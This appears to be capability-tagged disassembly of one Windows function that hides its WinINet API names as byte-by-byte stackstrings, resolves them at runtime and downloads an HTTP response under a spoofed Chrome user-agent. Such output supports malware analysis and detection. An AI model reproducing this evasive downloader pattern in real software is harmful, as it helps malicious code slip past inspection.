Function at 0x140011442
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Reference http user-agent string

Disassembly:
jmp 0x140013b50
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x19d8
call fcn.1400110e1
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x4e6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x19f8]
mov rax, qword [0x1400250c0]
xor rax, rbp
mov qword [rbp + 0x1988], rax
lea rcx, [0x14002b166]
call fcn.140011488
nop
mov rax, qword [rbp + 0x19b0]
mov qword [rbp + 8], rax
lea rdx, [0x14002183c]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_strtok]
mov qword [rbp + 0x28], rax
lea rdx, [0x14002183c]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_strtok]
mov qword [rbp + 0x28], rax
lea rdx, [0x140021840]
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_strtok]
mov qword [rbp + 0x48], rax
mov byte [rbp + 0x68], 0x57
mov byte [rbp + 0x69], 0x69
mov byte [rbp + 0x6a], 0x6e
mov byte [rbp + 0x6b], 0x69
mov byte [rbp + 0x6c], 0x6e
mov byte [rbp + 0x6d], 0x65
mov byte [rbp + 0x6e], 0x74
mov byte [rbp + 0x6f], 0x2e
mov byte [rbp + 0x70], 0x64
mov byte [rbp + 0x71], 0x6c
mov byte [rbp + 0x72], 0x6c
mov byte [rbp + 0x73], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x140013c5d
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Failed_to_load_requried_library_n
mov rcx, rax
call fcn.140011438
nop
xor eax, eax
jmp 0x14001432e
mov byte [rbp + 0xb8], 0x49
mov byte [rbp + 0xb9], 0x6e
mov byte [rbp + 0xba], 0x74
mov byte [rbp + 0xbb], 0x65
mov byte [rbp + 0xbc], 0x72
mov byte [rbp + 0xbd], 0x6e
mov byte [rbp + 0xbe], 0x65
mov byte [rbp + 0xbf], 0x74
mov byte [rbp + 0xc0], 0x43
mov byte [rbp + 0xc1], 0x6c
mov byte [rbp + 0xc2], 0x6f
mov byte [rbp + 0xc3], 0x73
mov byte [rbp + 0xc4], 0x65
mov byte [rbp + 0xc5], 0x48
mov byte [rbp + 0xc6], 0x61
mov byte [rbp + 0xc7], 0x6e
mov byte [rbp + 0xc8], 0x64
mov byte [rbp + 0xc9], 0x6c
mov byte [rbp + 0xca], 0x65
mov byte [rbp + 0xcb], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0xb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xe8], rax
mov byte [rbp + 0x108], 0x49
mov byte [rbp + 0x109], 0x6e
mov byte [rbp + 0x10a], 0x74
mov byte [rbp + 0x10b], 0x65
mov byte [rbp + 0x10c], 0x72
mov byte [rbp + 0x10d], 0x6e
mov byte [rbp + 0x10e], 0x65
mov byte [rbp + 0x10f], 0x74
mov byte [rbp + 0x110], 0x4f
mov byte [rbp + 0x111], 0x70
mov byte [rbp + 0x112], 0x65
mov byte [rbp + 0x113], 0x6e
mov byte [rbp + 0x114], 0x41
mov byte [rbp + 0x115], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x108]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x138], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_74.0.3729.169_Safari_537.36
call qword [rbp + 0x138]
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
jne 0x140013ddd
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Error_opening_internet_n
mov rcx, rax
call fcn.140011438
nop
xor eax, eax
jmp 0x14001432e
mov byte [rbp + 0x178], 0x49
mov byte [rbp + 0x179], 0x6e
mov byte [rbp + 0x17a], 0x74
mov byte [rbp + 0x17b], 0x65
mov byte [rbp + 0x17c], 0x72
mov byte [rbp + 0x17d], 0x6e
mov byte [rbp + 0x17e], 0x65
mov byte [rbp + 0x17f], 0x74
mov byte [rbp + 0x180], 0x43
mov byte [rbp + 0x181], 0x6f
mov byte [rbp + 0x182], 0x6e
mov byte [rbp + 0x183], 0x6e
mov byte [rbp + 0x184], 0x65
mov byte [rbp + 0x185], 0x63
mov byte [rbp + 0x186], 0x74
mov byte [rbp + 0x187], 0x41
mov byte [rbp + 0x188], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x178]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1a8], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x50
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x158]
call qword [rbp + 0x1a8]
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
jne 0x140013ef1
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Error_getting_handle_of_the_connection_n
mov rcx, rax
call fcn.140011438
nop
mov rcx, qword [rbp + 0x158]
call qword [rbp + 0xe8]
nop
xor eax, eax
jmp 0x14001432e
mov byte [rbp + 0x1e8], 0x48
mov byte [rbp + 0x1e9], 0x74
mov byte [rbp + 0x1ea], 0x74
mov byte [rbp + 0x1eb], 0x70
mov byte [rbp + 0x1ec], 0x4f
mov byte [rbp + 0x1ed], 0x70
mov byte [rbp + 0x1ee], 0x65
mov byte [rbp + 0x1ef], 0x6e
mov byte [rbp + 0x1f0], 0x52
mov byte [rbp + 0x1f1], 0x65
mov byte [rbp + 0x1f2], 0x71
mov byte [rbp + 0x1f3], 0x75
mov byte [rbp + 0x1f4], 0x65
mov byte [rbp + 0x1f5], 0x73
mov byte [rbp + 0x1f6], 0x74
mov byte [rbp + 0x1f7], 0x41
mov byte [rbp + 0x1f8], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x1e8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x218], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x84000000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
lea rdx, [0x14002196c]
mov rcx, qword [rbp + 0x1c8]
call qword [rbp + 0x218]
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
jne 0x140014016
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Error_opening_request_n
mov rcx, rax
call fcn.140011438
nop
mov rcx, qword [rbp + 0x1c8]
call qword [rbp + 0xe8]
nop
mov rcx, qword [rbp + 0x158]
call qword [rbp + 0xe8]
nop
xor eax, eax
jmp 0x14001432e
mov byte [rbp + 0x258], 0x48
mov byte [rbp + 0x259], 0x74
mov byte [rbp + 0x25a], 0x74
mov byte [rbp + 0x25b], 0x70
mov byte [rbp + 0x25c], 0x53
mov byte [rbp + 0x25d], 0x65
mov byte [rbp + 0x25e], 0x6e
mov byte [rbp + 0x25f], 0x64
mov byte [rbp + 0x260], 0x52
mov byte [rbp + 0x261], 0x65
mov byte [rbp + 0x262], 0x71
mov byte [rbp + 0x263], 0x75
mov byte [rbp + 0x264], 0x65
mov byte [rbp + 0x265], 0x73
mov byte [rbp + 0x266], 0x74
mov byte [rbp + 0x267], 0x41
mov byte [rbp + 0x268], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x258]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x288], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x238]
call qword [rbp + 0x288]
test eax, eax
jne 0x14001411b
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Error_sending_request_n
mov rcx, rax
call fcn.140011438
nop
mov rcx, qword [rbp + 0x238]
call qword [rbp + 0xe8]
nop
mov rcx, qword [rbp + 0x1c8]
call qword [rbp + 0xe8]
nop
mov rcx, qword [rbp + 0x158]
call qword [rbp + 0xe8]
nop
xor eax, eax
jmp 0x14001432e
mov dword [rbp + 0x12e4], 0
mov rax, qword [rbp + 0x19b8]
mov qword [rax], 0
mov dword [rbp + 0x1304], 0
mov byte [rbp + 0x1328], 0x49
mov byte [rbp + 0x1329], 0x6e
mov byte [rbp + 0x132a], 0x74
mov byte [rbp + 0x132b], 0x65
mov byte [rbp + 0x132c], 0x72
mov byte [rbp + 0x132d], 0x6e
mov byte [rbp + 0x132e], 0x65
mov byte [rbp + 0x132f], 0x74
mov byte [rbp + 0x1330], 0x52
mov byte [rbp + 0x1331], 0x65
mov byte [rbp + 0x1332], 0x61
mov byte [rbp + 0x1333], 0x64
mov byte [rbp + 0x1334], 0x46
mov byte [rbp + 0x1335], 0x69
mov byte [rbp + 0x1336], 0x6c
mov byte [rbp + 0x1337], 0x65
mov byte [rbp + 0x1338], 0
lea rcx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x1328]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1358], rax
lea r9, [rbp + 0x12c4]
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, qword [rbp + 0x238]
call qword [rbp + 0x1358]
test eax, eax
je 0x1400142f3
cmp dword [rbp + 0x12c4], 0
jbe 0x1400142f3
mov eax, dword [rbp + 0x12c4]
mov ecx, dword [rbp + 0x12e4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x12e4], eax
mov eax, dword [rbp + 0x12e4]
mov edx, eax
mov rax, qword [rbp + 0x19b8]
mov rcx, qword [rax]
call qword [sym.imp.ucrtbased.dll_realloc]
mov qword [rbp + 0x1378], rax
cmp qword [rbp + 0x1378], 0
jne 0x1400142a0
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Error_allocating_n
mov rcx, rax
call fcn.140011438
nop
mov rax, qword [rbp + 0x19b8]
mov rcx, qword [rax]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov rcx, qword [rbp + 0x238]
call qword [rbp + 0xe8]
nop
mov rcx, qword [rbp + 0x1c8]
call qword [rbp + 0xe8]
nop
mov rcx, qword [rbp + 0x158]
call qword [rbp + 0xe8]
nop
mov rax, qword [rbp + 0x19b8]
mov rcx, qword [rbp + 0x1378]
mov qword [rax], rcx
mov eax, dword [rbp + 0x12c4]
movsxd rcx, dword [rbp + 0x1304]
mov rdx, qword [rbp + 0x19b8]
add rcx, qword [rdx]
mov r8d, eax
lea rdx, [rbp + 0x2b0]
call fcn.140011244
nop
mov eax, dword [rbp + 0x12c4]
mov ecx, dword [rbp + 0x1304]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x1304], eax
jmp 0x1400141d5
movsxd rax, dword [rbp + 0x1304]
mov rcx, qword [rbp + 0x19c0]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x238]
call qword [rbp + 0xe8]
nop
mov rcx, qword [rbp + 0x1c8]
call qword [rbp + 0xe8]
nop
mov rcx, qword [rbp + 0x158]
call qword [rbp + 0xe8]
nop
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, reloc.OLEAUT32.dll_VariantCopy
call fcn.140011401
mov rax, rdi
mov rcx, qword [rbp + 0x1988]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x1998]
pop rdi
pop rbp
ret